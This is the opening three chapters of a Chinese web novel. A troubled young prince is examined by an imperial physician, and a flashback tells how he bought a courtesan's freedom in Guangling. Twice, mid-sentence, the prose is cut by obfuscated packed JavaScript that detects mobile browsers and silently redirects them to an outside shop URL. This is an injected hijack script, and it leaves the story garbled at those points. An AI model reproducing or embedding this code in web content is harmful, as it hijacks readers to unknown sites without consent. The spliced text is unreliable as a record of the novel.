《春不待诏》 1. 雨夜扣门人未语 顺天城这一年的冬天来得早。 十月刚到,北风就从城墙外一阵一阵地刮进来,把街上卖炭人的吆喝声吹得又细又长。京城里的富贵人家早早烧起了地龙,穷人却还舍不得添棉衣。天一冷,人的脸色也跟着变了,连平日最爱闲谈的茶棚里,也少了几分热闹。 这天夜里,城中下了一场雨。 雨不大,却很密。落在瓦上、树上、青石路上,像有无数只小手在轻轻敲打。更夫敲过二更后,街上已经没有多少行人。顺天城毕竟是京城,夜禁森严,寻常百姓没有要紧事,是不敢在这个时候走动的。 可就在这雨夜里,明亲王府的角门忽然开了。 守门的老仆打着灯笼出去,看见一个人站在门外。 那人穿一身半旧青衣,衣摆上沾着泥水,头发被雨打湿了些,脸色很白,白得像是许多日没有好好睡过觉。老仆起先没认出来,直到灯笼往上一抬,照见那人的眉眼,才吓得手一抖。 “小王爷?” 陆云逸没有答话。 他站在雨里,看着府门上那块匾额,好像这不是自己的家,而是一个很久以前曾经路过的地方。 老仆急忙让人去里头报信,又把灯笼举高些,颤声问:“小王爷,您这是从哪儿回来?王爷这些日子一直派人……” 话说到一半,他又自己停住了。 明亲王陆棣铭确实派人找过,可派得并不大张旗鼓。王府里的人都知道,王爷待这个孩子向来冷淡。说不关心,也不是完全不关心;说关心,又不像旁人家的父亲。小王爷出门游历数年,王爷只是每隔一段日子问一句,有没有信回来。信来了,他看;信不来,他也不多问。 可是王府里的老人都看得出来,王爷其实是在意的。 有些人就是这样,越在意,越不肯在人前露出来。像冬天埋在灰里的炭,看着不红,手一伸过去,却能烫着人。 陆云逸仍然不说话。 雨水顺着他的下巴往下滴。他的右手紧紧握着什么东西,握得太用力,指节都泛了青。 老仆看得心慌,小心问:“小王爷,您手里拿的是什么?” 陆云逸像是这时才听见他说话,慢慢低下头,看了看自己的手。 他把手松开些。 掌心里是一块半残的玉佩。 那玉佩色泽温润,边缘却不齐整,像是原本一整块,被人从中间分成了两半。 老仆不识得这东西,只觉得它有些年头,便又问:“可是路上出了什么事?” 陆云逸终于抬起眼。 他的声音很轻。 “萍儿呢?” 老仆一怔,忙道:“萍儿姑娘在后院。小王爷,您先进屋,别淋坏了身子。” 陆云逸没有动。 他看着老仆,又问了一句:“萍儿呢?” 这声音仍旧不高,可老仆听得背上发冷。小王爷从前说话不是这样的。他自幼在宫里和诸皇子一同读书,举止温和,待下人也宽厚,从不让人难堪。可此刻他站在那里,明明还是那张脸,却像是整个人空了一半。 老仆不敢再问,忙让人去请萍儿。 不多时,一个中年女子披着衣裳匆匆赶来。 她年纪已不轻了,但身形仍很利落,眉眼也还看得出年轻时的清秀。王府里的人都叫她萍儿姑娘,其实她早过了被叫姑娘的年岁。只是她在府里身份特殊,既不是寻常仆妇,也不是正经主子。小王爷是她一手带大的,连王爷也对她多有敬重。 萍儿一见陆云逸,脚步便停住了。 她先是看见他湿透的衣裳,又看见他苍白的脸,最后看见了他掌中的玉佩。 那一瞬间,萍儿的脸色也白了。 她没有当着众人问什么,只走上前,轻声说:“云逸,先回屋。” 陆云逸看着她。 过了许久,他像是终于认出了她,低低叫了一声:“干妈。” 萍儿眼圈一红,忙上前扶住他。 可陆云逸却忽然笑了笑。 那笑不像欢喜,也不像伤心,只像一个人走了太远的路,终于看见灯火,却不知自己该不该进去。 他说:“我好像把人弄丢了。” 萍儿的手一颤。 “小王爷!”老仆在旁边急了,“快请太医吧!” 萍儿没有立刻应声。 她看着陆云逸的眼睛,心里慢慢沉了下去。 她比这些仆人更了解这个孩子。陆云逸从小聪明,聪明得叫人心疼。他很少说无用的话,也很少把真正的痛苦露给旁人看。这样的人一旦开口说自己把人弄丢了,那丢掉的,恐怕不是一个寻常人。 也许不只是人。 也许还有他自己。 萍儿扶着他往里走。 走到廊下时,陆云逸忽然停住,回头看了一眼雨中的府门。 萍儿问:“怎么了?” 陆云逸低声说:“她不肯进来。” “谁?” 陆云逸沉默了一会儿。 “林鸯鸯。” 这个名字一出口,廊下几个仆人面面相觑。 他们不知道林鸯鸯是谁。 萍儿也不知道。 但她知道,从这一夜起,明亲王府不会再太平了。 …… 天亮以后,王府便向宫里递了牌子。 牌子是明亲王陆棣铭亲自写的,字数不多,只说小王爷游历归来,途中受惊,神思不宁,请陛下恩准延医诊治。 一个富贵人家的孩子在外头受了惊,回来病了,请医问药,本不是什么大事。可这牌子一进宫,事情就不再只是王府的家事了。 因为陆云逸不是普通富贵子弟。 他是明亲王的独子,是安国皇帝的亲侄儿,也是这些年皇帝亲眼看着长大的孩子。 更要紧的是,陆云逸自小就不寻常。 京城里的人都知道,小王爷陆云逸温和有礼,才学出众,骑射文章都不输诸皇子。有人说这是明亲王府的福气,也有人说这是陆家的福气。还有些更会看风向的人,在背后说,陛下待这位小王爷,似乎比待许多皇子皇孙还要上心。 这些话没人敢拿到明面上说。 顺天城里的人过日子,有一条极简单的道理:跟皇帝有关的话,能少说就少说;跟皇帝家里人有关的话,最好连想都不要多想。 可人到底是人,越不让想的事情,越会在心里绕。 明亲王府牌子递进宫后,不到半日,宫里便传出旨意,命太医院祝由科颜淞入王府为小王爷诊治。 这道旨意若传出去不知会让多少人心里犯嘀咕。 若是寻常风寒,太医院多的是人。若是外伤,也有御医。偏偏召的是祝由科的太医。 祝由科治的不是头疼脑热,也不是刀伤箭伤。 他们治的是心病。 有时也治疯病。 颜淞接到旨意时,正在太医院值房里整理旧案。 太医院的值房不大,靠近东边角门。屋里常年有药气,夏天闷,冬天冷。几排木架上放着医案,有些是旧年的,有些是刚送来的。颜淞这个人平日不多说话,也不爱在同僚中间争短长。旁人做官求的是上进,他做官却只求不出错。 可人在京城,有些事不是你不想惹,就能躲得过去。 传旨的小内侍走后,颜淞在值房里站了很久。 他知道明亲王府的小王爷。 不但知道,还远远见过一次。 那是几年前宫中设宴,诸皇子皇孙都在,陆云逸也在其中。那孩子年纪不大,坐得很端正。旁人争着在皇帝面前露脸,他却不争。可皇帝问到时,他又能答得恰到好处。既不显得怯懦,也不显得张扬。 颜淞当时就觉得,这孩子心里有一杆秤。 这样的人,怎么会忽然神思不宁? 颜淞收好旧案,换上外袍,带着药箱出门。 从太医院到明亲王府,要穿过半座顺天城。昨夜的雨到午前才停,街上积水未干,车轮压过青石,发出沉闷的声响。沿街铺子大多已经开了门,卖炭的、卖药的、卖热汤面的,都把摊子往檐下挪了挪。雨后的寒气贴着地面走,人们说话时嘴边有白气,却仍得出来讨生活。 颜淞掀开车帘看了一眼。 他有时觉得,这京城像一口大锅。上头浮着油花,是王侯将相、朱门大户;下面沉着米粒,是千千万万靠力气活着的人。火候好时,连锅底的米粒也能分得几星油光;火候一猛,先糊的往往不是上头那层油,而是锅底那些看不见的米。 他已经很久没有这样看过街上的人了。 入太医院以后,他看的多是宫中贵人。那些人病了,有上好的药材,有温暖的屋子,有几个人昼夜守着。可颜淞年轻时也曾在民间行医。那时他见过许多心病。 有闺阁女子被逼嫁人,成亲前夜割了腕,被救回来后不言不语。家里人说她中了邪,请他去驱鬼。颜淞看了半日,知道她哪里是中邪,不过是被逼得无路可走。 也有穷书生屡试不中,整日说自己梦见金榜题名,醒来便哭。旁人笑他疯癫,颜淞却觉得,那人不是疯,是心里最后一点指望坏掉了。 世上的病,有些长在肉里,有些长在心里。 长在肉里的病,往往有药可医。长在心里的病,却大多不是一个人自己生出来的。 车子在明亲王府门前停下。 王府门前很安静。 这种安静不像普通人家病了之后的慌乱,倒像是有人事先把一切声音都压了下去。 颜淞递了名帖,很快有人领他进去。 明亲王府不算奢华,却处处规整。廊下的花木修剪得干净,石阶上没有一点泥。这样的府邸,本该给人一种安稳富贵的感觉,可颜淞走在里头,却总觉得少了些生气。 引路的是昨夜守门的老仆。 老仆姓吴,在王府多年,脸上皱纹很深,说话也谨慎。颜淞问小王爷昨晚如何,吴老仆犹豫了一下,只说:“醒着的时候多,睡着的时候少。” “饮食呢?” “用得不多。” “可曾伤人?” 吴老仆忙摇头:“不曾。小王爷不是那等发狂的人。” 说完,他又像是想起什么,补了一句:“只是……有时认不得人。” 颜淞看了他一眼:“认不得谁?” 吴老仆低声道:“有时认得萍儿姑娘,有时又像不认得。有时问王爷在哪里,有时王爷去了,他又不见。还有一回,奴才听见小王爷在屋里说话,可进去一看,屋里只有他一个人。” 颜淞问:“他说什么?” 吴老仆脸上露出为难神色。 “奴才不敢听得太细。只听见一句。” “哪一句?” 吴老仆左右看了看,压低声音道:“他说,‘别怕,我带你走。’” 颜淞没有再问。 他们穿过一道月洞门,来到后院。 陆云逸住的院子叫听雪斋。名字清雅,院中却没有雪,只有昨夜雨水打落的一地枯叶。萍儿正站在廊下等着。 她看见颜淞,行了一礼。 “太医。” 颜淞还礼:“萍儿姑娘。” 两人都没有多说客套话。 萍儿领他进屋前,忽然停住,道:“太医,云逸自幼懂事,若有什么话说得不合常理,还请太医不要立刻当成疯话。” 颜淞看着她。 萍儿的神情很平静,可那平静底下压着深深的不安。 颜淞道:“我只听病人说话,不替旁人定罪。” 萍儿这才推开门。 屋内很暖。 炭火烧得正旺,窗边却开着一道缝。风从缝里进来,吹得桌上一张纸轻轻晃动。 陆云逸坐在窗下。 他换了干净衣裳,头发也束好了。若只看外表,倒不像有病。只是他瘦了许多,脸色仍白,眼下有青影。手边放着一盏茶,茶已经冷了,他却没有喝。 颜淞进来时,他抬起头。 那双眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520926|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛很清亮。 太清亮了,反而让颜淞一时不好判断。 疯癫之人,眼神多半散乱。可眼前这个年轻人不像疯。他看人时安安静静,仿佛什么都明白,又仿佛什么都不愿说。 萍儿轻声道:“云逸,太医来了。” 陆云逸点了点头。 “有劳太医。” 声音温和,礼数周全。 颜淞坐到他对面,打开药箱,却没有立刻取脉枕。 “殿下昨夜睡得如何?” 陆云逸想了想:“不大好。” “梦见什么了?” 陆云逸看向窗外。 院中枯叶被风吹得轻轻打转。 过了一会儿,他说:“梦见有人在敲门。” “谁?” “不知道。” “殿下去开了吗?” “开了。” “门外有什么?” 陆云逸没有立刻回答。 他垂下眼,目光落在自己掌心。那块半残玉佩已经不在手里,但他的手指仍保持着微微蜷曲的姿势,像还握着什么东西。 “门外站着一个女子。”他说。 萍儿站在旁边,脸色微变。 颜淞问:“那女子是谁?” 陆云逸道:“我不知道。” 颜淞静静等着。 屋里很安静,连炭火偶尔爆开的声音都显得清楚。 许久之后,陆云逸又说:“她说她叫林鸯鸯。” 这个名字第二次在王府里出现。 萍儿的手指轻轻攥住了袖口。 颜淞脸上却没有什么变化。 他见过许多病人,知道这时候不能急着问。人的心像一口井,有时你越急着往下看,水面越乱;你若耐心等着,它反而会慢慢照出东西来。 “她来找殿下做什么?”颜淞问。 陆云逸轻声道:“她说她无处可去。” “殿下认识她?” 陆云逸沉默。 这个沉默很长。 长到颜淞以为他不会回答了。 终于,陆云逸说:“也许认识。” “也许?” “有时我觉得认识,有时又觉得不认识。” 颜淞看着他:“那殿下觉得,她是梦里的人,还是从前见过的人?” 陆云逸抬起眼。 “太医觉得,人若死了,还会不会找地方住?” 这个问题问得很轻,却让屋里所有人都安静下来。 颜淞没有立刻答。 他知道自己面前的不是普通人家的少爷。若是旁人这样问,他可以顺着病人的话慢慢引导。可眼前这个人是小王爷。他说出的每一句话,都可能被传入宫中,被皇帝听见,被许多人反复揣摩。 但也正因为如此,颜淞忽然有些同情他。 一个人若连生病都不能随便病,那实在是一件可怜的事。 颜淞道:“人死之后住在哪里,臣不知道。臣只知道,活着的人若心中放不下,便会给死人留一间屋子。” 陆云逸听了这话,慢慢笑了一下。 这笑意很浅。 “太医是个会说话的人。” 颜淞道:“臣只是看过几个心病之人。” “那太医觉得,我有心病?” “殿下若无心病,陛下不会让臣来。” 陆云逸没有生气。 他甚至点了点头。 “陛下总是看得很远。” 萍儿听见这句话,眼神动了一下。 颜淞也听出了其中意味。 这话听起来像称赞,可又不全像称赞。它像一个孩子谈到长辈,也像一个臣子谈到君主,还像一个被看管许多年的人谈到看管自己的人。 颜淞不动声色地问:“殿下怕陛下吗?” 萍儿立刻看向他。 这个问题问得太直了。 陆云逸却并不避讳。 他想了一会儿,道:“天下人都该怕陛下。” “那殿下呢?” 陆云逸看着颜淞。 “我也是天下人。” 颜淞心里微微一沉。 这话很清醒。 清醒得让人一时分不出它究竟是病中的直言,还是平日里绝不会说出口的真心话。 可就在下一刻,陆云逸忽然皱了皱眉,像是听见了旁人听不见的声音。 他侧过头,看向空空的屋角。 萍儿下意识上前一步:“云逸?” 陆云逸没有应她。 他的神情慢慢变得柔和,声音也低了下来。 “我知道。”他说。 屋里没有人接话。 颜淞望向那个屋角。 那里只有一只青瓷花瓶,瓶中插着几枝尚未开放的梅。 陆云逸却像是在听人说话。 片刻后,他轻轻道:“我没有忘。” 萍儿脸色发白。 颜淞低声问:“殿下在同谁说话?” 陆云逸没有回答。 他仍看着屋角,神色很温柔,也很悲伤。 过了一会儿,他忽然说:“她说,太医若要问,就从广陵问起。” 颜淞心头一动。 “广陵?” 陆云逸回过头,看着他。 “是。” “广陵有什么?” 陆云逸端起手边那盏已经冷透的茶,却没有喝。 他的手很稳。 他说:“广陵城里昔繁华,炀帝行宫接紫霞…” 萍儿闭了闭眼。 颜淞慢慢坐直了身子。 他知道,真正的问诊从这一刻才开始。 可是他也隐约感觉到,自己将要听见的,未必只是一个人的病。 陆云逸望着窗外。 雨后的天色依然阴沉,院中枯叶湿漉漉地贴在地上,像许多被人踩过的旧纸。 他轻声说: “她叫林鸯鸯。” 2. 广陵灯影照春楼 颜淞听见“林鸯鸯”三个字后把药箱合上,放到一旁,又让人取来纸笔。王府的丫鬟动作很轻,像怕惊动了什么东西。她把笔墨摆到小几上时,偷偷看了陆云逸一眼,随即又低下头去了。 屋子里的人都知道小王爷病了。 可病到什么地步,却没人说得清。 一个人若是发热咳嗽,脸色红,额头烫,旁人看一眼就知道要请大夫。若是断了胳膊腿,更不必说。偏偏心里的病最难看。它不像刀伤那样流血,也不像风寒那样发抖。有些人说话做事同平常一样,心里却已经裂开一道缝;有些人哭哭笑笑,旁人说他疯了,其实他不过是把别人不敢说的话说了出来。 颜淞年轻时在民间行医,后来进了太医院,见的人多了,反倒越来越不敢轻易断言。 他蘸了墨,问:“殿下愿意说,臣便记。若有不愿说的,也不必勉强。” 陆云逸看着他,神色温和。 “太医是奉旨来的,怎么会不勉强?” 颜淞手里的笔停了一下。 萍儿站在一旁,脸色微微变了。她知道这句话若传进宫里,未必是什么好话。可陆云逸说得太平静,平静得像是在说今日天气不好。 颜淞低头道:“臣奉旨看病,不是奉旨逼供。” 陆云逸笑了笑。 “那便从广陵说起吧。” 他说这句话的时候,声音仍然轻。窗外风从缝里钻进来,把桌上的纸角吹得微微翘起。颜淞伸手压住那张纸,心里却觉得,这一压,像是压住了某条将要从纸下钻出来的细蛇。 “殿下是哪一年去的广陵?”颜淞问。 陆云逸想了一会儿。 “我离京后的第二年春末。” “为何去广陵?” “本来是照着干妈给我的路线走。先到燕京,再到历下。后来一路向南,便到了广陵。” 颜淞写下“春末,广陵”四个字。 萍儿听到这里,眼中掠过一丝难过。那条路线确是她给陆云逸写的。她当时只是想着,孩子长这么大,从未真正看过外头的天地。朱珍珍当年最爱江湖,若她还活着,也一定愿意让自己的孩子出去走走。 可萍儿没想到,这一走,竟走出许多她无法预料的事来。 陆云逸望着窗外,像是又看见了几年前那个春末。 “广陵是个很热闹的地方。”他说,“比我想的还要热闹。” …… 陆云逸初到广陵那天,正逢城里赶集。 广陵城靠水,水路通达,南来北往的船只在码头边挤着。船夫赤着胳膊搬货,商贩扯着嗓子喊价,卖鱼的、卖果子的、卖胭脂水粉的,还有从外地来的杂耍艺人,把一条街塞得满满当当。 春末的天已经有些热了。河边柳絮飞得到处都是,落在人肩上,像细碎的雪。城里的姑娘们穿着薄衫,手里提着香囊,在铺子前挑绢花。读书人在茶楼里谈诗,商人在酒肆里谈价。那地方看起来富庶、柔软,连风里都带着甜腻的酒香。 陆云逸在京城长大,见过富贵,却很少见这样活泛的富贵。 京城的富贵是端着的,讲规矩,讲身份,讲谁该站在谁前头,谁又该向谁低头。广陵不一样。这里的富贵像河水,四处流着,商人有商人的气派,船家有船家的热闹,连街边卖馄饨的老人,也能和过路客人说上几句玩笑话。 陆云逸那时还年轻。 年轻人总容易以为自己看见了一座城的热闹,便算看见了这座城。 他在城中住下,白日看桥,看船,看街市,夜里就在客栈中记些见闻。他给萍儿写信,说广陵水好,酒好,人也多。写到最后,他还添了一句:若干妈将来不爱京城的冷,广陵倒是个可养老的地方。 那时他还不知道,世上许多地方都是这样。 白日看着繁华,到了夜里,另一副面孔便露出来。 广陵有许多楼。 酒楼、茶楼、戏楼、绣楼。 还有青楼。 陆云逸原本不是去那地方的。 他那日傍晚从一家书铺出来,天色已暗,街上灯火渐起。他在小巷里走错了路,等绕出来时,便到了一条极热闹的街上。 那条街两旁挂满红灯,灯下站着打扮鲜艳的女子。她们有的倚着门,有的扶着栏杆,有的拿帕子轻轻遮着嘴笑。脂粉味、酒味、熏香味混在一起,让人觉得胸口发闷。 陆云逸起初还没明白这是哪里。 他虽在皇室里长大,但王府和宫中对这些事讳莫如深。再加上他一向被当作端正贵公子教养,身边人也不敢拿这些地方来污他的耳朵。因此他走进这条街时,只觉得不对,却说不出哪里不对。 直到一个穿桃红衣裙的女子笑着迎上来,柔声叫他“公子”,又伸手来拉他的袖子,他才猛地退了一步。 那女子愣了一下,随即笑得更厉害。 “哎哟,还是个面皮薄的。” 旁边几个女子也笑起来。 陆云逸脸上一热,转身便想走。 可偏偏就在这时,街尾一座楼里忽然爆出一阵叫好声。 那声音很大,带着男人酒后的兴奋和粗俗。陆云逸本不想理会,已经迈出一步,却又听见有人高喊: “二百两!” 紧接着又有人喊: “三百两!这等货色,三百两可买不着!” 周围人哄笑起来。 陆云逸脚步停住。 那笑声很刺耳。 他从小受的是皇室教育,学过礼,学过法,学过治国之道。先生们说人有贵贱,事有轻重,礼有上下。他听得多,也记得熟。可在那一刻,他忽然觉得,自己过去学的那些东西,都离眼前的声音很远。 三百两。 货色。 买不着。 这些字眼像石子一样,砸进他心里。 他本该离开。 明亲王府的小王爷,不该站在青楼门口,更不该管这种地方的事。他若转身走了,谁也不会说他错。世上每天都有许多苦事发生,一个人本就管不过来。 可是年轻时候的陆云逸,还没有学会把眼睛闭上。 他顺着声音走进了那座楼。 楼名叫醉春楼。 名字俗气,灯却很亮。 一进门,便有热气扑面而来。大堂里摆着十几张桌子,坐满了人。酒菜味混着脂粉香,让人头脑发昏。楼上栏杆边也挤着人,人人都往正中的高台上看。 高台四角点着灯。 灯下站着一个女子。 她穿着一身浅青色衣裙,衣料不算十分华贵,却衬得人很干净。她不像旁的青楼女子那样满头珠翠,只用一根银簪挽着头发。脸上也没有浓妆,只淡淡抹了些脂粉。正因为如此,她在人群里反倒显得格外扎眼。 陆云逸后来想起林鸯鸯,最先想起的不是她的美貌。 而是她站在那里时的神情。 她脸色很白,手指紧紧攥着袖口,却没有哭,也没有求饶。她低着眼,不看台下那些人。台下的人喊价,调笑,说些不堪入耳的话,她都像没有听见。 可陆云逸看得出来,她不是不怕。 她只是知道怕也没用。 一个人若还有路可退,怕的时候总会躲,总会喊。可若已经被推到绝路上,反倒会安静下来。那种安静,陆云逸许多年后仍然记得。 台下有人笑道:“抬起头来,让爷再看看!” 老鸨站在一旁,拿团扇遮着嘴笑。 “诸位爷莫急,鸯鸯姑娘是我们楼里新调教出来的,性子是冷些,可这样的才有意思。若是一上来就会讨好人,倒不值这个价了。” 众人又是一阵哄笑。 有个肥胖商人拍着桌子道:“四百两!” 楼上一个戴玉冠的年轻公子立刻道:“五百两。” 老鸨脸上的笑更浓了。 陆云逸站在人群后头,手慢慢攥紧。 他听不惯那些话。 不只是因为那些话下流,更因为那些人说话时的轻松。他们不是在谈一个人,而是在谈一件物什,一匹马,一块玉,一件新奇玩意儿。 在他们眼里,台上的女子没有来处,也没有以后。她只值一个今夜的价钱。 陆云逸忽然想起京城里的牲口市。 小时候他曾随家中人出门,远远看见过有人买马。买马的人也这样围着,看牙口,看腿脚,看毛色,然后出价。那时他年纪小,只觉得马可怜。后来先生说,牲畜本就是给人使的。 可眼前站着的,明明是一个人。 他身边有个酒客见他站着不动,便撞了撞他的肩膀,笑道:“小兄弟也看中了?这姑娘可不便宜。” 陆云逸没有答。 那酒客上下打量他一番,见他衣着虽不张扬,但料子极好,便笑得更暧昧。 “看你这样,还是头回来吧?别怕,这种地方讲的就是银子。你有银子,她今晚就是你的。你没有银子,便只能看旁人抱走。” 陆云逸转头看他。 那酒客被他看得一愣。 陆云逸的眼神并不凶,却清清冷冷,让人忽然觉得自己刚才说的话有些脏。 酒客讪讪转过脸去。 这时楼上那玉冠公子又喊:“六百两。” 台下顿时沸腾。 六百两不是小数目。对许多寻常百姓来说,一辈子也见不到这么多银子。可在这座楼里,六百两不过是一夜的热闹。 老鸨笑得合不拢嘴。 “六百两!还有没有更高的?鸯鸯姑娘这般颜色,这般才情,错过了可就没有了。” 林鸯鸯终于抬了抬眼。 她没有看楼上出价的人,也没有看老鸨。 她看向人群后头。 那一眼,正好落在陆云逸身上。 陆云逸不知道她为什么会看见自己。 大堂里人那么多,灯那么亮,声音那么杂。他站得又不靠前。可她偏偏看见了他。 那目光里没有求救。 至少一开始没有。 她只是看了他一眼,像一个快要沉进水里的人,在最后一刻看见岸边站着一个人。她未必相信那人会救她,甚至也未必有力气呼救。可她总要看一眼。 陆云逸被那一眼钉在原地。 他想起许多话。 想起先生讲仁政时说,民为邦本。 想起宫中老臣讲礼法时说,女子当贞静自守。 想起父亲偶尔提起母亲,说朱珍珍年轻时最爱管闲事。 想起萍儿送他离京时,替他整理衣领,说:“在外头见了不平事,能管便管,不能管就先保住自己。活着回来,才是最要紧的。” 这些话在他脑中一一闪过,最后却都散了。 他只听见楼中又有人喊: “七百两!” 老鸨正要落槌。 陆云逸忽然开口。 “一千两。” 大堂里一下子静了。 那一刻,连倒酒的小厮都停住了手。 所有人都回头看他。 陆云逸站在灯影交界处,身形尚显年轻,脸上没有什么表情。他不像常来这种地方的人,也不像会为了一个青楼女子一掷千金的浪荡子。可他说出“一千两”时,语气平稳得像是在客栈里要一壶茶。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520927|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 老鸨最先回过神来。 她脸上的笑几乎堆到了眼角。 “这位公子,您说的是一千两?” 陆云逸道:“是。” 楼上的玉冠公子脸色变了变。 他大约没想到半路会杀出这么一个人,冷笑道:“一千两?阁下可知道这是哪里?醉春楼不是随便喊价的地方。” 陆云逸抬头看他。 “我知道。” “那银子呢?” 陆云逸从袖中取出一枚玉牌,递给身旁的小厮。 “去城中最大的通兑钱庄,凭这个取。” 小厮不敢接,先看老鸨。 老鸨到底见过世面,一看那玉牌的成色,眼神便变了。她忙亲自下来,双手接过,只扫了一眼,脸上的笑便更深了几分,却也多了些谨慎。 她看出眼前这少年不是普通富家子。 至少不是她能轻易得罪的那种。 “公子稍坐,奴家这就让人去办。” 陆云逸道:“不必稍坐。人我现在带走,银子随后送来。” 老鸨笑容一僵。 这不合规矩。 青楼里也有青楼里的规矩。银货两讫,买卖才算成。可眼前少年说得太自然,仿佛他不是在同她商量,而是在告诉她一件已经定下来的事。 楼上的玉冠公子冷声道:“好大的口气。” 陆云逸没有理他。 他只看向台上的林鸯鸯。 “你愿意跟我走吗?” 这句话一出,楼里又静了一下。 许多人笑起来。 他们觉得好笑。 买一个青楼女子,竟还问她愿不愿意。 这就像买一匹马时问马愿不愿意被牵走,买一件衣裳时问衣裳愿不愿意被穿在身上。世上哪有这样的道理? 可林鸯鸯没有笑。 她看着陆云逸,眼里第一次有了波动。 老鸨立刻道:“公子说笑了。鸯鸯是我们楼里的人,价钱既定,自然随公子去。” 陆云逸仍看着林鸯鸯。 “我问她。” 老鸨脸上的笑终于有些挂不住。 楼中议论声又起。 有人觉得这少年迂腐,有人觉得他有趣,还有人觉得他不过是有钱人家的公子哥儿,头一回来这种地方,非要装出一副怜香惜玉的样子。等真把人带回去,未必比旁人好到哪里。 林鸯鸯站在灯下。 她的手指仍攥着袖口。 过了许久,她轻声说:“我愿意。” 声音不大,却很清楚。 陆云逸点了点头。 他转身往外走。 林鸯鸯从高台上下来时,脚步有些不稳。她大约站得太久,也怕得太久。可她没有让旁人扶,只自己一步一步走下台阶,跟在陆云逸身后。 楼里有人起哄,有人骂晦气,也有人笑着说这一千两花得冤枉。 陆云逸都没有回头。 他出了醉春楼,夜风迎面吹来,带着河水的湿气。街上的红灯仍亮着,青楼女子们仍在门前招呼客人,仿佛方才那场买卖不过是这条街上最平常不过的一件事。 林鸯鸯站在他身后。 两人一前一后,隔着几步远。 陆云逸这时才觉得掌心出了汗。 他刚才在楼里看似镇定,其实也并非全不紧张。他知道自己做了一件很莽撞的事。若父亲知道,恐怕会皱眉。若皇帝知道,也许会笑他天真。 可他那时顾不了那么多。 他转过身,看见林鸯鸯也在看他。 离了楼里的灯,她的脸色更白,像被风一吹就会散。可她的眼睛很黑,也很静。 陆云逸想了想,说:“你自由了。” 这句话他说得很认真。 他以为这是最要紧的一句话。 林鸯鸯听后,却没有露出他想象中的欢喜。她只是看着他,过了很久,忽然低声笑了一下。 那笑没有一点轻快。 陆云逸问:“你笑什么?” 林鸯鸯说:“公子是好人。” 陆云逸皱了皱眉。 这话听起来像谢,却又不像谢。 林鸯鸯抬头看着街上摇晃的红灯,轻声道:“可好人有时候也很天真。” 陆云逸不明白。 “我已经替你赎身,醉春楼不会再留你。你若有家,便回家;若无家,我可以给你一笔银子。你往后不必再过这样的日子。” 他说得越认真,林鸯鸯眼中的神色便越复杂。 她问:“公子觉得,我拿着银子,能走到哪里去?” 陆云逸一时没有答上来。 林鸯鸯又问:“我无父无母,无兄无弟,没有户籍可依,也没有宗族可投。今日出了这条街,明日若有人再把我捉走,卖到别的楼里,公子还会再花一千两来救我吗?” 陆云逸怔住。 夜风吹动她的衣袖。 她站在红灯照不到的阴影里,声音很轻,却一句一句落得很实。 “公子救我出来,是公子心善。可我这样的女子,只靠旁人的心善,是活不下去的。” 陆云逸看着她。 那一刻,广陵街上的热闹忽然远了。 酒声、笑声、丝竹声,仿佛都隔了一层水。 他在醉春楼里用一千两银子买下了一个人的自由。可直到此刻,他才明白,原来银子只能把人从一扇门里带出来,却不能保证门外不是另一条绝路。 林鸯鸯看着他,轻声说: “公子,你带我走出那座楼,可你要把我带到哪里去呢?” 3. 良籍薄纸锁孤舟 林鸯鸯问完那句话,便没有再说。 她站在街边,身后是醉春楼的灯火,面前是广陵夜里的风。那条街依旧热闹,楼里的人还在喝酒,门口的女子还在笑,远处河上的船还亮着灯。人世间的热闹从来不会因为某一个人的命运停下来。 陆云逸看着她,一时无言。 他从小读过许多书。那些书上教人如何修身,如何齐家,如何治国,如何平天下。先生们也教过他,遇事要有决断,见人要知进退。可眼前这个女子只问了一句话,就让他忽然觉得自己所学的东西不够用了。 你带我走出那座楼,可你要把我带到哪里去? 这句话不像责问,倒像是把一个事实摆在他面前。 陆云逸沉默了许久,说:“先离开这里。” 林鸯鸯点了点头。 她没有问去哪儿,也没有说好或不好,只是安静地跟在他身后。陆云逸往前走了几步,听见身后的脚步声很轻,轻得几乎被街上的喧闹盖过去。 他回头看了一眼。 林鸯鸯低着头,衣裙下摆被风吹得微微动着。她刚从那样一座楼里出来,四周却没有一个地方真正属于她。她跟着他,不是因为信他,而是因为她此刻别无选择。 这个念头让陆云逸心里有些发沉。 他带林鸯鸯回了自己住的客栈。 客栈掌柜见他夜里带了个女子回来,眼神有些异样,却没敢多问。广陵是商旅往来的地方,客栈里见过的事多了。何况陆云逸住的是上房,出手又阔绰,掌柜的自然知道什么该问,什么不该问。 陆云逸让小二另开一间干净屋子,又叫人送热水和饭菜。 林鸯鸯站在门口,没有立刻进去。 陆云逸道:“你今晚先住这里。明日我再想法子。” 林鸯鸯抬头看他。 “公子不进来?” 陆云逸一怔。 他明白她这句话是什么意思,耳根微微热了一下。 “这是你的屋子。” 林鸯鸯看了他片刻,像是想分辨这句话是真是假。 过了一会儿,她轻轻福了一礼。 “多谢公子。” 陆云逸没有受她这个礼。 他侧身避开,道:“不必谢我。你先歇息。” 林鸯鸯进屋后,门轻轻合上。 陆云逸站在门外,听见屋里没有脚步声,也没有哭声。她大概只是站在那里。 过了许久,屋里才传出木栓落下的声音。 陆云逸转身回到自己房中,却没有睡。 他坐在灯下,铺开纸,想给萍儿写信。笔提起来半晌,又放下。 他不知道该怎么写。 